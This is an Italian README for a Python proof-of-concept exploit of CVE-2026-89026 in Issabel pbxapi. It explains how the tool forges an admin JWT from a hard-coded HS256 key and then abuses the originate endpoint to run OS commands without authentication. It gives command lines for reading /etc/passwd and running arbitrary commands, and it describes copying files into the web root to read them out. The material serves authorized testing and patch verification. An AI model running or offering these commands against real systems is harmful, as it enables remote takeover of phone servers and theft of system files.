
PoC Python che falsifica un JWT HS256 hard-coded per sfruttare CVE-2026-89026 in Issabel pbxapi, consentendo l'esecuzione remota di comandi OS non autenticata tramite l'endpoint originate.
Issabel pbxapi RCE tramite JWT hard-coded POC
Issabel Framework pbxapi — forgiatura JWT non autenticata (chiave HS256 hard-coded) poi GET /pbxapi/manager/originate con Application=System per eseguire comandi OS come utente Asterisk. Corretto nel commit b97dbaf (chiave caricata da /etc/issabel.conf). Shadowserver ha osservato sfruttamento dal 2026-09-09.
Solo per test autorizzati. Non eseguire questo contro sistemi che non possiedi o per cui non hai il permesso di testare.
Richiede: Python 3, solo libreria standard.
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --test --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --read /etc/passwd --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --cmd id --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u TARGET --test
| Flag | Cosa fa |
|---|---|
-u / --url | URL base di Issabel (obbligatorio). http:// o https://. Un hostname senza schema viene provato prima come HTTPS, poi HTTP. I redirect http→https mantengono POST. I certificati TLS non validi vengono ritentati senza verifica; --insecure salta la verifica fin dall'inizio (Issabel usa spesso un certificato self-signed) |
--test | Esegue il fingerprint di /pbxapi e prova che un JWT admin forgiato viene accettato. Nessun originate / nessun comando |
--read PATH | Esegue cp PATH nella web root tramite System, poi esegue GET del file (è così che vedi /etc/passwd) |
--cmd CMD | GET /pbxapi/manager/originate?application=System&data=CMD. AMI non restituisce stdout — usa --read per visualizzare un file |
--channel | Originate Channel (default Local/s@default) |
--insecure | Salta la verifica TLS |
--timeout | Timeout HTTP in secondi (default 30) |
Endpoint di --test: GET /pbxapi/ senza Authorization (atteso 403), poi lo stesso URL con Authorization: Bearer <JWT forgiato>. Un JSON 200 che elenca controllers / manager (o JSON di connessione AMI dopo l'autenticazione) è VULNERABLE. Non chiama originate.
Auth: non ce n'è per l'attaccante. L'API pensa di avere autenticazione Bearer JWT. Pre-patch pbxapi/index.php imposta JWT_KEY a una stringa compilata in ogni installazione. Il PoC firma HS256 {iat, exp, data.name=admin} con quella chiave. Post-patch la chiave è base64_decode(pbxapijwtsecret) da /etc/issabel.conf e il token stock viene rifiutato (NOT_VULNERABLE).
Stdout: PBXAPI, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, HANDLER, HTTP.

CVE: CVE-2026-89026. Crediti: Shadowserver Foundation / VulnCheck. Patch: b97dbaf.